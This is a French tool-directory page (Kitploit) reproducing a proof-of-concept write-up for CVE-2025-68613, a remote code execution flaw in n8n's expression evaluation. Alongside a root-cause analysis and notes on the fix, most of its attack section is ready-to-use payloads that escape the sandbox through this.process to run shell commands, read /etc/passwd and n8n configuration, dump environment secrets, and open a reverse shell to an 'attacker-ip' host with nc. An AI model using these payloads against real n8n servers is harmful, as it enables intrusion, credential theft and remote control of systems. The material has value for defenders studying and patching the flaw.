Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Outils/GitHubGitHub/intbjw/cve-2025-68613-poc-via-copilot
Analyse des VulnérabilitésAnalyse de CodeExploitationExploitation d'Applications WebArticles et RechercheApprentissage et Éducation
GitHubintbjw/cve-2025-68613-poc-via-copilot

CVE-2025-68613-poc-via-copilot

Voir le dépôt
36il y a 10 moisPas encore vérifié

À propos

Analyse technique détaillée et preuve de concept pour CVE-2025-68613, une vulnérabilité RCE critique dans l'évaluation d'expressions de n8n via un contournement du contexte this par IIFE. Comprend l'analyse des causes racines, les vecteurs d'exploitation et des conseils d'atténuation.

Partager

✅ CVE-2025-68613 Analyse complète de la vulnérabilité d'injection d'expression RCE dans n8n

Date : 23 décembre 2024 Statut : ✅ RCE entièrement validé Score CVSS : 10.0 (Critique)


🎉 Payload RCE réussi

{
	{
		(function () {
			var require = this.process.mainModule.require;
			var {execSync} = require('child_process');
			return execSync('id', {encoding: 'utf8'}).trim();
		})()
	}
}

Résultat d'exécution : retourne avec succès les informations de l'utilisateur système (ex. uid=1000(n8n) gid=1000(n8n) groups=1000(n8n))


🔍 Analyse approfondie du principe de la vulnérabilité

Vulnérabilité principale : le contexte this de la fonction immédiatement invoquée (IIFE) n'est pas sanitisé

1. Flux d'évaluation de l'expression

Entrée utilisateur
  ↓
{{ (function() { ... })() }}
  ↓
Expression.resolveSimpleParameterValue()
  ↓
Création de l'objet de contexte data
  ↓
data.process = référence à l'objet process réel
  ↓
Tournament.execute(expression, data)
  ↓
FunctionEvaluator.evaluate()
  ↓
fn.call(data, errorHandler)  ← ⚠️ Clé : this = data
  ↓
Exécution de la fonction immédiatement invoquée
  ↓
this.process.mainModule.require ← ⚠️ Accès au vrai require
  ↓
Chargement du module child_process
  ↓
execSync('id') ← 🔥 RCE complet !

2. Emplacements de code clés

Emplacement 1 : Création du contexte de données

Fichier : packages/workflow/src/expression.ts Fonction : Expression.resolveSimpleParameterValue() Lignes : environ 230-290

// Génération du proxy de données
const dataProxy = new WorkflowDataProxy(
	this.workflow,
	runExecutionData,
	runIndex,
	itemIndex,
	activeNodeName,
	connectionInputData,
	siblingParameters,
	mode,
	additionalKeys,
	executeData,
	-1,
	selfData,
	contextNodeName,
);
const data = dataProxy.getDataProxy();

// ⚠️ Point vulnérable 1 : ajout de l'objet process à data
data.process =
	typeof process !== 'undefined'
		? {
			arch: process.arch,
			env: process.env.N8N_BLOCK_ENV_ACCESS_IN_NODE === 'true' ? {} : process.env,
			platform: process.platform,
			pid: process.pid,
			ppid: process.ppid,
			release: process.release,
			version: process.pid,
			versions: process.versions,
		}
		: {};

// ⚠️ Problème : bien que seules certaines propriétés soient exposées ici,
// il s'agit d'une référence d'objet, l'objet process réel reste accessible
// via la chaîne de prototypes ou d'autres moyens.
Emplacement 2 : Évaluation par Tournament

Fichier : node_modules/@n8n/tournament/src/FunctionEvaluator.ts

evaluate(expr
:
string, data
:
unknown
):
ReturnValue
{
	const fn = this.getFunction(expr);
	// ⚠️ Point vulnérable 2 : transmission de data en tant que this
	return fn.call(data, this.instance.errorHandler);
}

private
getFunction(expr
:
string
):
Function
{
	if (expr in this._codeCache) {
		return this._codeCache[expr];
	}
	const [code] = this.instance.getExpressionCode(expr);
	// ⚠️ Point vulnérable 3 : création de fonction avec new Function
	const func = new Function('E', code + ';');
	this._codeCache[expr] = func;
	return func;
}
Emplacement 3 : Absence de sanitisation de this

Fichier : packages/workflow/src/expression-sandboxing.ts

Avant v1.122.0 :

// ❌ Pas de FunctionThisSanitizer
const tournamentEvaluator = new Tournament(errorHandler, undefined, undefined, {
	before: [],  // ← tableau vide, pas de sanitisation de this
	after: [PrototypeSanitizer, DollarSignValidator],
});

Après v1.122.0 :

// ✅ Ajout de FunctionThisSanitizer
const tournamentEvaluator = new Tournament(errorHandler, undefined, undefined, {
	before: [FunctionThisSanitizer],  // ← nouveau hook
	after: [PrototypeSanitizer, DollarSignValidator],
});

// Implémentation de FunctionThisSanitizer
export const FunctionThisSanitizer: ASTBeforeHook = (ast, dataNode) => {
	astVisit(ast, {
		visitFunction(path) {
			// Réécrit toutes les expressions de fonction, lie explicitement this à un objet sécurisé
			const safeThis = b.objectExpression([
				b.property('init', b.identifier('process'), b.objectExpression([]))
			]);
			// Transforme function() { ... } en function() { ... }.bind({ process: {} })
		}
	});
};
Emplacement 4 : Liste de propriétés dangereuses incomplète

Fichier : packages/workflow/src/utils.ts Fonction : isSafeObjectProperty()

Avant v1.122.0 :

const unsafeObjectProperties = new Set([
	'__proto__',
	'prototype',
	'constructor',
	'getPrototypeOf'
]);
// ❌ Mainque mainModule, binding, _load

Après v1.122.0 :

const unsafeObjectProperties = new Set([
	'__proto__',
	'prototype',
	'constructor',
	'getPrototypeOf',
	'mainModule',    // ✅ ajouté
	'binding',       // ✅ ajouté
	'_load'          // ✅ ajouté
]);

💣 Techniques d'exploitation complètes

1. RCE de base

{
	{
		(function () {
			var require = this.process.mainModule.require;
			var {execSync} = require('child_process');
			return execSync('id', {encoding: 'utf8'}).trim();
		})()
	}
}

2. Exécution de commandes arbitraires

{
	{
		(function () {
			return this.process.mainModule.require('child_process')
				.execSync('whoami', {encoding: 'utf8'}).trim();
		})()
	}
}

{
	{
		(function () {
			return this.process.mainModule.require('child_process')
				.execSync('pwd', {encoding: 'utf8'}).trim();
		})()
	}
}

{
	{
		(function () {
			return this.process.mainModule.require('child_process')
				.execSync('uname -a', {encoding: 'utf8'}).trim();
		})()
	}
}

{
	{
		(function () {
			return this.process.mainModule.require('child_process')
				.execSync('ls -la /', {encoding: 'utf8'});
		})()
	}
}

3. Accès au système de fichiers

// Lecture de fichiers sensibles
{
	{
		(function () {
			var fs = this.process.mainModule.require('fs');
			return fs.readFileSync('/etc/passwd', 'utf8');
		})()
	}
}

// Liste des répertoires
{
	{
		(function () {
			var fs = this.process.mainModule.require('fs');
			return fs.readdirSync('/').join('\n');
		})()
	}
}

// Lecture de la configuration n8n
{
	{
		(function () {
			var fs = this.process.mainModule.require('fs');
			return fs.readFileSync('./.n8n/config', 'utf8');
		})()
	}
}

// Liste du répertoire courant
{
	{
		(function () {
			var fs = this.process.mainModule.require('fs');
			return fs.readdirSync('.').join('\n');
		})()
	}
}

4. Fuite complète des variables d'environnement (combinée avec les découvertes précédentes)

// Accès direct via this.process
{
	{
		(function () {
			return JSON.stringify(this.process.env);
		})()
	}
}

// Ou en utilisant la méthode déjà connue
{
	{
		JSON.stringify(process.env)
	}
}

5. Accès réseau (préparation pour un reverse shell)

// Vérification des outils réseau
{
	{
		(function () {
			return this.process.mainModule.require('child_process')
				.execSync('which nc', {encoding: 'utf8'}).trim();
		})()
	}
}

// Obtention des interfaces réseau
{
	{
		(function () {
			var os = this.process.mainModule.require('os');
			return JSON.stringify(os.networkInterfaces());
		})()
	}
}

// Reverse Shell (⚠️ Dangereux ! Réservé aux tests autorisés)
{
	{
		(function () {
			return this.process.mainModule.require('child_process')
				.execSync('nc -e /bin/sh attacker-ip 4444', {encoding: 'utf8'});
		})()
	}
}

📊 Résumé de validation de la vulnérabilité

✅ Vecteurs d'attaque exploitables confirmés

Télécharger l’outil

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 La boîte à outils OSINT ultime : graphe d'enquête, notation de confiance, familles d'alias, carte, chronologie et rapports. 49 modules, plus de 400 sites, aucune clé API requise.

    513
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    # Application d'exécution en un clic GhostLock (CVE-2026-43499)

    471
  • 3

    ARTEX

    baarai/artex

    Plateforme autonome de tests d'intrusion multi-agents basée sur des LLM, avec agents planificateur/ouvrier, graphes d'actifs et d'exploration, enregistrement du trafic MITM et retest des vulnérabilités.

    345
  • 4

    redforge

    cybersecurity91/redforge

    Boîte à outils red team côté navigateur avec 102 outils hors ligne pour la reconnaissance, la génération de payloads, les attaques par identifiants, la cryptographie, l'encodage et le reporting d'engagement.

    311
  • 5

    estorides

    grisuno/estorides

    Agrège plus de 99 sources OSINT gratuites en parallèle, résout les entités dans un graphe de connaissances et exporte en STIX 2.1, MISP ou GraphML avec une analyse assistée par LLM.

    303
  • 6

    opencti

    opencti-platform/opencti

    Plateforme ouverte de renseignement sur les cybermenaces

    303

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →